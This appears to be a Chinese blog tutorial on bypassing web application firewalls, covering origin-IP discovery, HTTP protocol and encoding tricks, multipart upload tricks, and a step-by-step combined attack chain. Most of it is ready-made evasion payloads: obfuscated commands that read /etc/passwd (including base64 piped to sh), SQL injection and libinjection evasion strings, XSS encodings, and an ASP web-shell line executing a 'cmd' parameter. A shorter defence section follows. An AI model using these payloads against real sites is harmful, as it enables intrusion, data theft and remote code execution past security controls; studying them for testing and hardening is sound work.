WAF绕过技术全面解析:从原理到实践方案(简易版)

Web应用防火墙(WAF)作为保护网站安全的重要防线,其绕过技术一直是网络安全研究的热点领域。本文将系统性地介绍WAF绕过的方法论、具体技术方案和实践策略,内容涵盖网络架构层、HTTP协议层、应用层以及数据库层的绕过技术,并提供详细的案例分析和防御建议。

WAF基础与绕过方法论

Web应用防火墙(WAF)是一种专门设计用来保护Web应用程序的安全解决方案,它通过监控、过滤和阻止恶意HTTP/HTTPS流量来防御各类网络攻击。WAF通常部署在Web应用程序和客户端之间,像一座"智能安检门"检查所有进出网站的流量,核心任务包括拦截攻击(如SQL注入、XSS)、过滤异常请求(如CC攻击)以及通过"虚拟补丁"临时隐藏漏洞。

WAF的工作流程可分为四个关键阶段:

  1. 预处理阶段:判断请求是否为HTTP/HTTPS,检查URL是否在白名单中

  2. 规则检测阶段:将解析后的数据包与预置规则库进行匹配

  3. 处理模块:根据检测结果执行放行、阻断或告警操作

  4. 日志记录:记录所有拦截和处理日志供后续分析

绕过WAF的本质是寻找WAF设备之后处理应用层数据包的硬件/软件特性,构造WAF无法识别但应用程序能成功执行的载荷。这些特性就像特定场景,当满足这些场景而WAF未考虑时,就能实现绕过。成功的WAF绕过需要三个关键条件:熟练掌握目标系统函数和语法、深入了解中间件运行机制,以及了解WAF的防护原理和方法。

从技术实施角度看,WAF绕过可分为四大层面:

  1. 网络架构层绕过:针对WAF部署位置的绕过

  2. HTTP协议层绕过:利用协议解析差异

  3. 应用程序层绕过:利用应用特性或漏洞

  4. 数据库层绕过:利用数据库特性和SQL语法技巧

网络架构层绕过技术

网络架构层的WAF绕过主要针对WAF的部署位置和网络流量路径设计,核心思路是避开WAF的检测范围找到防护体系的薄弱环节。这一层的绕过尤其适用于云WAF场景,通过寻找真实服务器IP或利用网络配置不当实现绕过。

寻找真实IP绕过云WAF

云WAF通常通过DNS解析将流量引导至云端防护节点,找到网站的真实服务器IP即可实现直接访问,绕过云WAF的防护。以下是几种有效的真实IP发现方法:

  1. 二级域名与其他域名解析记录

    • 查找同一域名注册者下的其他域名解析记录,特别是未接入WAF的二级域名(如test.example.comdev.example.com)可能直接解析到真实IP

    • 使用工具如dignslookup查询相关域名的DNS记录

  2. 邮件服务器MX记录

    • 邮件服务器通常与Web服务器位于同一网络环境,通过查询域名的MX记录可能发现真实IP

    • Windows下使用nslookup -qt=mx example.com

    • Linux下使用dig mx example.com

  3. 历史解析记录查询

    • 网站接入云WAF前的DNS记录可能暴露真实IP

    • 使用SecurityTrails等服务查询域名历史解析记录: https://securitytrails.com/

  4. 全网扫描与SSRF利用

    • 使用Zmap等快速扫描工具对全网IP进行扫描,通过特征比对找到真实服务器

    • 若目标存在SSRF漏洞,可通过漏洞反向连接获取网站真实IP

利用网络配置漏洞

除了寻找真实IP,网络架构层的绕过还包括:

  1. 同网段绕过:当WAF仅防护特定网段时,通过处于同一内网的其他设备发起请求可能绕过防护

  2. 边界漏洞利用:利用网络边界设备(如负载均衡器、CDN节点)的配置缺陷或漏洞,将恶意流量注入到WAF防护区域之外

  3. IP白名单绕过:部分WAF对搜索引擎爬虫或特定IP段(如公司内网)设置白名单,伪装成这些可信来源可能绕过检测

表:网络架构层绕过技术对比

技术方法 适用场景 实施难度 隐蔽性 所需工具
二级域名解析 存在未防护子域名 dig/nslookup
MX记录查询 邮件与Web同服务器 系统内置命令
历史记录查询 域名曾直接解析 SecurityTrails
全网扫描 其他方法无效 Zmap等扫描器
SSRF利用 存在SSRF漏洞 漏洞利用工具

网络架构层的绕过往往是最直接有效的方法,但依赖于目标系统的配置情况和信息收集的全面性。在实际渗透测试中,这些技术常与其他层面的绕过方法结合使用,形成多层次的绕过策略。

HTTP协议层绕过技术

HTTP协议层的绕过技术利用WAF与后端服务器在协议解析上的差异,通过构造特殊的HTTP请求实现防护绕过。这种类型的绕过不依赖于特定应用程序或数据库,具有较高的通用性,是WAF绕过中最常用的方法之一。

SSL/TLS协议绕过

利用WAF对SSL加密算法支持不全面的特性可以实现绕过,特别是在某些硬件WAF场景下:

  1. SSL/TLS版本与加密套件探测

    • 使用sslscan工具识别服务器支持的SSL/TLS版本和加密套件:sslscan http://target/ | grep Accept

    • 对比WAF与后端服务器支持的加密算法,找出WAF不支持但服务器支持的组合

  2. 特定加密算法请求

    • 使用curl指定特定加密套件发起请求:

      复制代码
      curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
    • 这种方法可能使WAF无法解密检测流量,而后端服务器能正常处理

HTTP协议版本与管道化技术

HTTP协议版本的差异和管道化技术可有效绕过部分WAF的检测机制:

  1. HTTP协议版本差异

    • 通过发送非标准HTTP版本请求(如HTTP/0.9)或最新版本(如HTTP/2)利用WAF解析差异

    • 某些WAF对老版本协议支持不完善,可能忽略部分恶意请求

  2. HTTP管道化(Pipeline)技术

    • 在单个TCP连接中连续发送多个HTTP请求,利用WAF可能只检测第一个请求的特性

    • 需要设置Connection: keep-alive头部维持连接

    • 第一个请求为正常请求,后续请求包含恶意载荷

  3. 分块传输编码(Chunked Transfer Encoding)

    • 使用Transfer-Encoding: chunked头部,将请求体分块发送

    • WAF与后端服务器对分块数据解析逻辑可能不一致

    • 数据最后需要用0独占一行表示结束

编码与内容类型绕过

利用各种编码方式和内容类型声明可以混淆WAF的检测规则:

  1. URL编码与双重URL编码

    • 对特殊字符进行URL编码:'变为%27 变为%20

    • 双重URL编码:%27变为%2527,部分WAF只解码一次

    • 案例:' OR 1=1 --编码为%2527%2520OR%25201%253D1%2520--绕过安全狗

  2. 字符集编码(Charset)绕过

    • 修改Content-Type头部使用非常用字符集:

      复制代码
      Content-Type: application/x-www-form-urlencoded;charset=ibm500
    • 可用字符集包括ibm037、ibm500、cp875、ibm1026等

    • Burpsuite的HTTP Request Smuggler插件可简化此类数据包修改

  3. MIME编码绕过

    • 主要用于Spring框架,利用文件名MIME解码特性

    • 文件名格式:=?charset?B?base64str?=,如=?UTF-8?B?YS5gc3A=?=解码为a.jsp

    • WAF可能未处理此类编码而直接放行

请求头与参数污染技术

请求头操纵和参数污染是HTTP协议层绕过的有效手段:

  1. Host头绕过

    • 修改Host头绕过基于域名防护的WAF:

      复制代码
      Host: localhost:80
      Host: 127.0.0.1:80
    • 适用于WAF仅验证特定Host头的场景

  2. HTTP参数污染(HPP)

    • 提交多个同名参数,利用WAF与后端取参差异:

      复制代码
      ?id=1&id=union select 1,2,3
    • WAF可能检查第一个id参数,而后端取最后一个

    • 不同服务器对多值参数的处理方式不同,PHP通常取最后一个,ASP.NET取第一个

  3. Content-Type切换

    • application/x-www-form-urlencoded改为multipart/form-data

    • 部分WAF对multipart请求只检测文件上传,忽略其他攻击

    • 需要构造合适的boundary和请求结构

表:HTTP协议层主要绕过技术对比

技术类别 具体方法 适用WAF类型 检测难度 实施复杂度
SSL/TLS绕过 加密套件差异 硬件WAF
协议版本 HTTP/0.9或HTTP/2 云WAF/硬件WAF
分块编码 Transfer-Encoding: chunked 多数WAF
双重URL编码 %2527代替%27 规则简单WAF
字符集编码 charset=ibm500 依赖内容检测WAF
参数污染 多个同名参数 参数检查不严WAF

HTTP协议层的绕过技术不断创新,随着HTTP/3等新协议的出现和各类中间件解析差异的发现,未来将出现更多基于协议特性的绕过方法。这些技术往往可以组合使用,形成更复杂的绕过策略。

应用程序层绕过技术

应用程序层绕过技术主要利用Web应用程序、中间件或脚本引擎的特有功能或解析差异来绕过WAF检测。这类绕过方法通常针对特定技术栈,需要根据目标系统的具体实现选择合适的技术。

Web服务器特性利用

不同Web服务器对HTTP请求的解析存在差异,这些差异可被用于WAF绕过:

  1. IIS服务器%特性

    • 在ASP+IIS环境中,s%elect可能被解析为select

    • 因IIS会删除%字符,而WAF可能保留原始输入

    • 类似地,un%ion可绕过对union关键词的检测

  2. IIS Unicode解析特性

    • IIS支持Unicode解析,如s%u0065lect被转换为select

    • 更高级的技巧是利用多个widechar转换为同一字符:

      • %u0065(e)和%u00f0都会被转换为e
    • 案例:s%u0065lects%u00f0lect都被解析为select

  3. Apache畸形Method处理

    • 某些Apache版本会忽略非常规HTTP方法,如DOTA2 /?id=1可能被当作GET请求处理

    • WAF可能严格校验方法类型而导致绕过

    • 可尝试非标准方法如GETTPOSTx

  4. PHP解析特性

    • PHP在解析multipart数据时,boundary识别可能只取逗号前内容

    • 设置boundary为----aaaa,123456,PHP只识别----aaaa

    • WAF可能获取整个字符串导致解析不一致

文件上传绕过技术

文件上传是常见的攻击向量,针对WAF的上传过滤有多种绕过方法:

  1. 多重filename属性

    • PHP取最后一个filename值,而WAF可能检查第一个:

      复制代码
      Content-Disposition: form-data; name="file"; filename="a.txt";filename="a.php"
    • 最终服务器接收a.php,而WAF检查a.txt

  2. boundary与注释混淆

    • 在boundary中插入注释或特殊字符:

      复制代码
      Content-Type: multipart/form-data; boundary=----12345/*test*/
    • 不同组件对注释的处理可能不一致

  3. 文件内容混淆

    • 在文件开头添加大量注释或垃圾数据(超过WAF检测大小限制)

    • 使用图片马或混合内容绕过内容检测

    • 对文件内容进行编码或加密

脚本命令执行绕过

系统命令执行是攻击的常见目标,有多种方法可绕过WAF对命令的检测:

  1. Linux命令绕过

    • 空格绕过:

      复制代码
      cat</etc/passwd
      cat${IFS}/etc/passwd
      X=$'cat\x20/etc/passwd'&&$X
    • 命令分割:

      复制代码
      c'a't /etc/pass'"wd
      c""at /e't'c/pass""wd
      /b??/ca? /e?c/pas?wd
    • 通配符扩展:/b*/ca* /et*/pas*d

  2. Windows命令绕过

    • 变量截取与拼接:

      复制代码
      set a=net user & call %a%
      %CommonProgramFiles:~10,-18%baidu.com
    • 特殊字符干扰:wh^o^am""i

    • 算术表达式:%PROGRAMFILES:~10,-5%

  3. 脚本引擎执行

    • 通过Perl、Python等执行命令:

      复制代码
      python -c 'import subprocess; subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"])'
    • PHP:php -r 'exec("ca"."t /et"."c/pa"."sswd");'

    • Base64编码执行:

      复制代码
      echo Y2F0IC91dGMvcGFzc3dk | base64 -d | sh

编码与混淆技术

各种编码转换和混淆技术可有效绕过基于关键词检测的WAF规则:

  1. 多重编码组合

    • Unicode编码:\u0065\u0076\u0061\u006c代替eval

    • HTML实体编码:&lt;script&gt;代替<script>

    • 混合编码:%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E绕过XSS过滤

  2. 变量与字符串拼接

    • JavaScript:['al','ert'].join('')('1')

    • PHP:$a='ass';$b='ert';$c=$b.$a; $c(1);

    • SQL:CONCAT('sel','ect')代替select

  3. 进制转换与特殊表示

    • 十六进制:0x61646D696E代替admin

    • 八进制:\163\145\154\145\143\164(select)

    • 十进制:char(115,101,108,101,99,116)

表:应用程序层绕过技术适用场景

技术类型 适用环境 检测难度 实施复杂度 典型案例
IIS %特性 ASP+IIS s%elect → select
多重filename PHP应用 文件上传绕过
命令分割 Linux系统 c'a't /etc/passwd
变量拼接 Windows系统 set a=net user & call %a%
Unicode编码 支持Unicode解析的系统 \u0065 → e
多重编码 所有Web应用 混合URL+Unicode编码

应用程序层的绕过技术高度依赖于目标系统的具体实现和环境配置,在实际渗透测试中需要结合信息收集结果选择合适的技术。随着Web技术的发展和新编程特性的出现,这类绕过方法也在不断演进和丰富。

数据库层绕过技术

数据库层绕过技术专门针对WAF的SQL注入防护机制,利用数据库特性和SQL语法技巧构造恶意查询。这类技术需要深入了解各类数据库的语法差异和特性,是SQL注入攻击中的高级技巧。

SQL注释与空白符技巧

注释和空白符的灵活运用是绕过WAF关键词检测的基础方法:

  1. 注释符绕过

    • 普通注释:union/**/select使用/**/分割关键词

    • 长注释干扰:union/*aaaaaaaaaaaaa*/select消耗WAF匹配资源

    • 内联注释(MySQL特有):/*!union*/select/*!50000union*/select

    • 版本号注释:/*!32302 1/0*/仅在MySQL 3.23.02以下版本执行

  2. 空白符替代

    • MySQL空白符包括:%09(TAB)、%0A(换行)、%0B%0C%0D%A0

    • 特殊空白符:%25A0(URL编码的%A0)

    • 案例:union%250Cselect利用换页符分隔关键词

  3. 注释与换行组合

    • 1%23%0AAND%23%0A1=1%23解码后:

      复制代码
      1#
      AND#
      1=1#
    • #在MySQL中为注释符,%0A为换行

数据库函数与语法特性

利用数据库特有函数和语法特性可构造复杂绕过载荷:

  1. 函数分隔技巧

    • concat%2520(使用双重编码空格

    • concat/**/(使用注释分隔

    • concat%25a0(使用特殊空白符

  2. 浮点数词法解析

    • id=8E0union select 1,2,3

    • id=8.0union select 1,2,3

    • id=\Nunion select 1,2,3

  3. MySQL特殊语法

    • ODBC转义语法:select {x table_name} from {x information_schema.tables}

    • 大括号表达式:union{x select{x 1},2}

  4. 报错注入函数

    • extractvalue(1,concat(0x5c,md5(3)))

    • updatexml(1,concat(0x5c,md5(3)))

    • 几何函数:

      复制代码
      GeometryCollection((select * from (select * from (select @@version)x)y))
      polygon((select * from (select name_const(version(),1))x))
    • 这些函数常被WAF忽略但能执行SQL

等价替换与逻辑混淆

通过关键词替换和逻辑重构可绕过简单的关键词过滤规则:

  1. 关键词等价替换

    • and&&or||

    • =likerlike

    • sleep()benchmark(10000000,md5(1))

    • substr()substring()mid()

  2. 逻辑重构

    • union select 1,2union select * from ((select 1)A join (select 2)B)

    • if(a,b,c)case when a then b else c end

    • limit 1,1limit 1 offset 1

  3. 十六进制与字符编码

    • admin0x61646D696E

    • selectchar(115,101,108,101,99,116)

    • 部分场景可用二进制或八进制表示

高级绕过技术

针对复杂WAF规则的高级绕过方法:

  1. 缓冲区溢出绕过

    • 构造超长参数名或值消耗WAF处理资源

    • 如超过48KB的POST数据可能绕过某些ISAPI过滤器

    • 案例:填充48KB无用数据后再写注入语句

  2. PCRE限制绕过

    • 利用WAF的正则匹配次数限制(PCRE_EXTRA_MATCH_LIMIT)

    • 注入大量注释消耗匹配资源:

      复制代码
      union/*aaa...*/select
    • 当注释字符超过100万时可能绕过部分WAF

  3. Libinjection绕过

    • Libinjection是许多WAF使用的SQLi检测库

    • 使用不常用SQL函数:mod(3,2) union select mod(3,2),usr,pwd from user

    • 特殊字符插入:1<@可能绕过检测

    • 大括号语法:1 and{ifupdatexml(1,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),1)}

  4. Fuzz测试绕过

    • 编写脚本自动化测试各种变异组合

    • 使用随机UA头减少被封锁风险

    • 示例Fuzz向量:

      复制代码
      fuzz_aa = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
      fuzz_bb = ['', ' ']
      fuzz_cc = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
    • 组合测试如/*!union%s%s%sselect*/

表:数据库层绕过技术分类

技术类型 主要方法 适用数据库 检测难度 实施复杂度
注释干扰 /**/、/!/、# 多数数据库
空白符变异 %0A、%A0等 MySQL、MSSQL
报错注入 updatexml等 MySQL
等价替换 &&代替and 多数数据库
ODBC语法 {x select} MySQL
PCRE限制 超长注释 规则严格WAF
Libinjection绕过 特殊字符插入 使用Libinjection的WAF

数据库层绕过技术是SQL注入攻击中的高级主题,需要根据目标数据库类型和WAF规则特点选择合适的技术组合。随着WAF技术的进步,单纯的注释或大小写变换可能不再有效,需要结合协议层和应用层技术形成多层次的复合绕过策略。

综合绕过策略与防御建议

前文详细介绍了各层面的WAF绕过技术,但在实际环境中,单一技术往往难以突破现代高级WAF的防护。本章将探讨如何综合应用各类技术形成有效的绕过策略,同时从防御角度提供WAF配置建议,帮助安全人员加固防护体系。

多技术组合绕过策略

分层组合攻击是突破WAF的有效方法,通过结合网络层、协议层和应用层技术构造复杂攻击载荷:

  1. 编码嵌套组合

    • 将Unicode编码与双重URL编码结合:%25%37%35(双重编码的u) + %25%36%35(e) = %u0065

    • HTML实体编码嵌套Base64:&lt;script&gt; + Base64编码事件处理函数

    • 案例:%2527(双重编码单引号) + %20union%20 + %0Aselect(换行分隔)

  2. 协议与数据库层结合

    • 使用HTTP分块传输编码发送SQL注入载荷

    • 在POST数据超过48KB后插入SQL语句,绕过ISAPI过滤器

    • 修改Content-Type为multipart/form-data同时使用数据库注释符分隔关键词

  3. 应用与数据库层结合

    • 利用PHP的filename解析特性上传.php文件,文件内容包含编码后的SQL语句

    • 通过文件包含漏洞执行上传文件,触发二次SQL注入

    • 案例:上传文件名为=2UTF-82B?YS5gc3A=?=(解码为a.jsp),内容包含<% execute(request("cmd")) %>

情景化绕过流程示例

  1. 通过DNS历史记录找到真实IP,绕过云WAF

  2. 使用curl --ciphers ECDHE-RSA-AES256-SHA建立SSL连接

  3. 发送分块编码的POST请求,参数名重复且第一个参数正常

  4. SQL语句中使用/*!union*/内联注释和%0A换行

  5. 关键表名和列名使用十六进制表示0x7573657273(users)

WAF绕过检测与防御

针对日益复杂的绕过技术,防御方需要采取多层次的安全措施:

  1. WAF配置加固建议

    • 启用全量解码检测:对URL编码、Unicode、Base64等进行多层解码后检测

    • 限制最大HTTP头数量和大小,防止缓冲区溢出攻击

    • 设置合理的PCRE匹配限制,既防ReDoS又避免被绕过

    • 对所有同名参数进行检测,而非仅第一个或最后一个

  2. 架构设计建议

    • 避免暴露真实IP,定期检查DNS记录

    • 邮件服务器与Web服务器分离,MX记录不指向业务IP

    • 使用网络层ACL限制非HTTP/HTTPS流量访问Web服务器

    • 考虑混合部署模式:云WAF+本地硬件WAF形成多层次防护

  3. 监控与日志分析

    • 记录所有被拦截请求的原始数据,包括HTTP头和body

    • 对成功请求进行抽样分析,检测潜在绕过行为

    • 建立异常流量基线,监控偏离基线的请求模式

    • 使用机器学习检测编码异常和参数变异模式

  4. 代码层防御

    • 使用参数化查询而非拼接SQL

    • 输入验证采用白名单而非黑名单

    • 统一大小写处理,避免大小写绕过

    • 对文件上传进行内容检测而非仅依赖扩展名

未来趋势与研究方向

WAF绕过技术仍在持续演进,以下几个方向值得关注:

  1. AI驱动的绕过技术

    • 使用生成对抗网络(GAN)自动生成绕过载荷

    • 基于强化学习的自动化Fuzz测试框架

    • 上下文感知的语义绕过,理解应用逻辑后构造合法恶意请求

  2. 新兴协议与标准

    • HTTP/3协议带来的新解析差异

    • WebAssembly等新执行环境中的绕过可能性

    • 服务网格(Service Mesh)架构下的安全边界变化

  3. 硬件级绕过

    • 利用CPU推测执行等硬件特性绕过安全检测

    • 基于时间的侧信道攻击探测WAF规则

    • GPU加速的暴力Fuzz测试

  4. 防御技术演进

    • 行为分析替代静态规则匹配

    • 客户端证明(Client Proof)技术验证请求合法性

    • 可编程WAF支持自定义检测逻辑

表:WAF绕过与防御技术对比

技术维度 攻击方策略 防御方对策 技术成熟度 实施成本
编码混淆 多重嵌套编码 全量解码检测
协议差异 利用解析不一致 规范化处理
资源消耗 大数据包/长注释 合理限制
参数污染 多同名参数 全参数检测
语义分析 上下文相关载荷 行为分析
AI对抗 自动生成载荷 AI检测引擎 新兴 很高

WAF绕过与防护是一场持续的攻防博弈,没有一劳永逸的解决方案。安全团队需要保持对最新绕过技术的了解,定期评估和调整防护策略,同时加强开发人员的安全培训,从源头减少漏洞的产生。只有将WAF与其他安全措施结合,形成纵深防御体系,才能有效应对日益复杂的网络攻击。

尤其是防止xgz干坏事,必须得加防御!

相关推荐
黑客思维者5 小时前
为什么Linux常被提权操作?
linux·网络·安全
IT19956 小时前
C++使用“长度前缀法”解决TCP“粘包 / 拆包”问题
服务器·网络·c++·tcp/ip
一周困⁸天.6 小时前
K8S-网络组件 Calico
网络·容器·kubernetes
元亓亓亓6 小时前
考研408--计算机网络--day8--NAT&ARP&DHCP&ICMP&IPv6
网络·计算机网络·nat·arp
studytosky6 小时前
Linux 基础开发工具(3):Git 控制与 GDB 调试实用指南
linux·运维·服务器·网络·数据库·git
Ares-Wang6 小时前
网络》》生成树 STP
网络
IT_mingY6 小时前
k8S网络概述——详细理论知识
网络·容器·kubernetes
while(1){yan}7 小时前
网络协议TCP
java·网络·网络协议·tcp/ip·青少年编程·电脑常识
txzz88887 小时前
CentOS-Stream-10 系统安装之Firewalld防火墙配置
linux·运维·网络·计算机网络·centos·firewall-cmd·linux防火墙